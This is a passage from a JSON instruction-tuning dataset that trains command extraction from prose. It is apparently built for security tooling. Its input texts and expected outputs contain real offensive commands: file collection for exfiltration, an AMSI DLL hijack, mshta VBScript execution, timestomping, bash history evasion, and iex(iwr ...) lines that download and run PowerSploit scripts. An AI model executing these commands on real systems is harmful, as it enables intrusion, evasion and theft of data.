    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For automated collection, first create a directory and copy all .doc files using the following command: New-Item -Path $env:TEMP\\T1119_powershell_collection -ItemType Directory -Force | Out-Null\nGet-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName -destination $env:TEMP\\T1119_powershell_collection}; Information gathering for exfiltration can be performed by executing this command, creating files in the temp directory: Get-Service > $env:TEMP\\T1119_1.txt\nGet-ChildItem Env: > $env:TEMP\\T1119_2.txt\nGet-Process > $env:TEMP\\T1119_3.txt\n",
    "output": "{\"command_list\": [\"New-Item -Path $env:TEMP\\\\T1119_powershell_collection -ItemType Directory -Force | Out-Null\\nGet-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName -destination $env:TEMP\\\\T1119_powershell_collection}\\n\", \"Get-Service > $env:TEMP\\\\T1119_1.txt\\nGet-ChildItem Env: > $env:TEMP\\\\T1119_2.txt\\nGet-Process > $env:TEMP\\\\T1119_3.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When .NET components load, they check for the APPX_PROCESS environment variable. To exploit this, use the following commands to copy and rename amsi.dll, then set the variable: copy %windir%\\System32\\amsi.dll %APPDATA%\\amsi.dll\nren %APPDATA%\\amsi.dll WinAppXRT.dll\ncopy %APPDATA%\\WinAppXRT.dll %windir%\\System32\\WinAppXRT.dll\nreg add \"HKEY_CURRENT_USER\\Environment\" /v APPX_PROCESS /t REG_EXPAND_SZ /d \"1\" /f; For successful execution, run the following commands: copy %windir%\\System32\\amsi.dll %APPDATA%\\amsi.dll\nren %APPDATA%\\amsi.dll ualapi.dll\ncopy %APPDATA%\\ualapi.dll %windir%\\System32\\ualapi.dll\nsc config Spooler start=auto\n. This process copies and renames the DLL file, places it in the System32 directory, and configures the Print Spooler service to start automatically upon system reboot.",
    "output": "{\"command_list\": [\"copy %windir%\\\\System32\\\\amsi.dll %APPDATA%\\\\amsi.dll\\nren %APPDATA%\\\\amsi.dll WinAppXRT.dll\\ncopy %APPDATA%\\\\WinAppXRT.dll %windir%\\\\System32\\\\WinAppXRT.dll\\nreg add \\\"HKEY_CURRENT_USER\\\\Environment\\\" /v APPX_PROCESS /t REG_EXPAND_SZ /d \\\"1\\\" /f\\n\", \"copy %windir%\\\\System32\\\\amsi.dll %APPDATA%\\\\amsi.dll\\nren %APPDATA%\\\\amsi.dll ualapi.dll\\ncopy %APPDATA%\\\\ualapi.dll %windir%\\\\System32\\\\ualapi.dll\\nsc config Spooler start=auto\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For simulating lateral movement over a UNC path while executing an HTA application, run this command: Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath #{mshta_file_path}; The 2021 Threat Detection Report by Red Canary shows how to leverage Mshta for PowerShell execution with this command: mshta.exe \"about:<hta:application><script language=\"VBScript\">Close(Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run%20\"\"powershell.exe%20-nop%20-Command%20Write-Host%20#{message};Start-Sleep%20-Seconds%20#{seconds_to_sleep}\"\"))</script>\"'",
    "output": "{\"command_list\": [\"Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath #{mshta_file_path}\", \"mshta.exe \\\"about:<hta:application><script language=\\\"VBScript\\\">Close(Execute(\\\"CreateObject(\\\"\\\"Wscript.Shell\\\"\\\").Run%20\\\"\\\"powershell.exe%20-nop%20-Command%20Write-Host%20#{message};Start-Sleep%20-Seconds%20#{seconds_to_sleep}\\\"\\\"\\\"))</script>'\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    On MacOS systems, you can stomp a file's modification date with this command: SetFile -m #{target_date} #{target_filename}\n; Altering timestamps to complicate forensic analysis requires running this PowerShell script: \ntry{ \n  Set-Date -Date (Get-Date).AddDays(#{days_to_modify})\n  Add-Content \"$env:APPDATA\\\\slipDays.bak\" #{days_to_modify}\n}\ncatch {exit 1}\n",
    "output": "{\"command_list\": [\"SetFile -m #{target_date} #{target_filename}\\n\", \"try{ \\n  Set-Date -Date (Get-Date).AddDays(#{days_to_modify})\\n  Add-Content \\\"$env:APPDATA\\\\slipDays.bak\\\" #{days_to_modify}\\n}\\ncatch {exit 1}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify domain groups using PowerView, run the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroup -verbose; The ldifde utility can output directory objects to a file with this command: ldifde.exe -f #{output_path}\\#{output_file} -p subtree",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroup -verbose\\n\", \"ldifde.exe -f #{output_path}\\\\#{output_file} -p subtree\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For Windows systems, geolocation information can be fetched from IP-Lookup services with the command: curl -k #{ip_lookup_url}; Demonstrate the ability to modify the authorized_keys file for persistence with the command: if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo \"$ssh_authorized_keys\" > ~/.ssh/authorized_keys; fi;",
    "output": "{\"command_list\": [\"curl -k #{ip_lookup_url}\\n\", \"if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo \\\"$ssh_authorized_keys\\\" > ~/.ssh/authorized_keys; fi;\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To demonstrate Bash history manipulation techniques, we perform several actions including HISTCONTROL modification and command execution using the following multi-step command:\nTEST=$(echo $HISTCONTROL)\nif [ \"$HISTCONTROL\" != \"ignoreboth\" ]; then export HISTCONTROL=\"ignoreboth\"; fi\nhistory -c \nls -la $HISTFILE # \" ls -la $HISTFILE\"\nif [ $(history |wc -l) -eq 1 ]; then echo \"ls -la is not in history cache\"; fi\nif [ \"$HISTCONTROL\" != \"erasedups\" ]; then export HISTCONTROL=\"erasedups\"; fi\nhistory -c \nls -la $HISTFILE\nls -la $HISTFILE\nls -la $HISTFILE\nif [ $(history |wc -l) -eq 2 ]; then echo \"Their is only one entry for ls -la $HISTFILE\"; fi; For testing HISTFILESIZE manipulation while maintaining the session, run this multi-step command: TEST=$(echo $HISTFILESIZE)\necho $HISTFILESIZE\nexport HISTFILESIZE=0\necho \"runnning some commands to populate the history\"\nwhoami\ngroups\nif [ $(echo $HISTFILESIZE) -eq 0 ]; then echo \"\\$HISTFILESIZE is zero\"; else HIST_LENGHT=$(wc -l $HISTFILE); echo \"\\$HISTFILESIZE is not zero, history lenght is $HIST_LENGHT\";  fi",
    "output": "{\"command_list\": [\"TEST=$(echo $HISTCONTROL)\\nif [ \\\"$HISTCONTROL\\\" != \\\"ignoreboth\\\" ]; then export HISTCONTROL=\\\"ignoreboth\\\"; fi\\nhistory -c \\nls -la $HISTFILE # \\\" ls -la $HISTFILE\\\"\\nif [ $(history |wc -l) -eq 1 ]; then echo \\\"ls -la is not in history cache\\\"; fi\\nif [ \\\"$HISTCONTROL\\\" != \\\"erasedups\\\" ]; then export HISTCONTROL=\\\"erasedups\\\"; fi\\nhistory -c \\nls -la $HISTFILE\\nls -la $HISTFILE\\nls -la $HISTFILE\\nif [ $(history |wc -l) -eq 2 ]; then echo \\\"Their is only one entry for ls -la $HISTFILE\\\"; fi\\n\", \"TEST=$(echo $HISTFILESIZE)\\necho $HISTFILESIZE\\nexport HISTFILESIZE=0\\necho \\\"runnning some commands to populate the history\\\"\\nwhoami\\ngroups\\nif [ $(echo $HISTFILESIZE) -eq 0 ]; then echo \\\"\\\\$HISTFILESIZE is zero\\\"; else HIST_LENGHT=$(wc -l $HISTFILE); echo \\\"\\\\$HISTFILESIZE is not zero, history lenght is $HIST_LENGHT\\\";  fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many 